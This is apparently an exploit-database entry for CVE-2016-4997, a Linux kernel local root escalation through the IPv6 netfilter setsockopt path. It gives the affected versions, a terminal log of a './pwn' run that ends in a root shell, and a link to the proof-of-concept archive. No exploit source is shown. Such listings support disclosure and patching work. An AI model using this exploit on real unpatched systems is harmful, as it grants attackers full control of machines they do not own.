ed0e1e4d44
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1.7 KiB
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42 lines
No EOL
1.7 KiB
Text
# Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call
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# Date: 2016.10.8
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# Exploit Author: Qian Zhang@MarvelTeam Qihoo 360
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# Version: Linux kernel <= 4.6.2
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# Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic
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# CVE: CVE-2016-4997
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# Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10
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# Contact: tyrande000@gmail.com
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#DESCRIPTION
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#===========
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#The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields,
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#which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded.
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zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls
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compile.sh enjoy enjoy.c pwn pwn.c version.h
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zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables
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[sudo] password for zhang_q:
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zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn
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pwn begin, let the bullets fly . . .
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and wait for a minute . . .
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pwn over, let's enjoy!
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preparing payload . . .
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trigger modified tty_release . . .
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got root, enjoy :)
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root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE#
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root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id
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uid=0(root) gid=0(root) groups=0(root)
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root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl
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Static hostname: ubuntu
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Icon name: computer-vm
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Chassis: vm
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Machine ID: 355cdf4ce8a048288640c2aa933c018f
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Virtualization: vmware
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Operating System: Ubuntu 16.04.1 LTS
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Kernel: Linux 4.4.0-21-generic
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Architecture: x86-64
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root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE#
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40489.zip |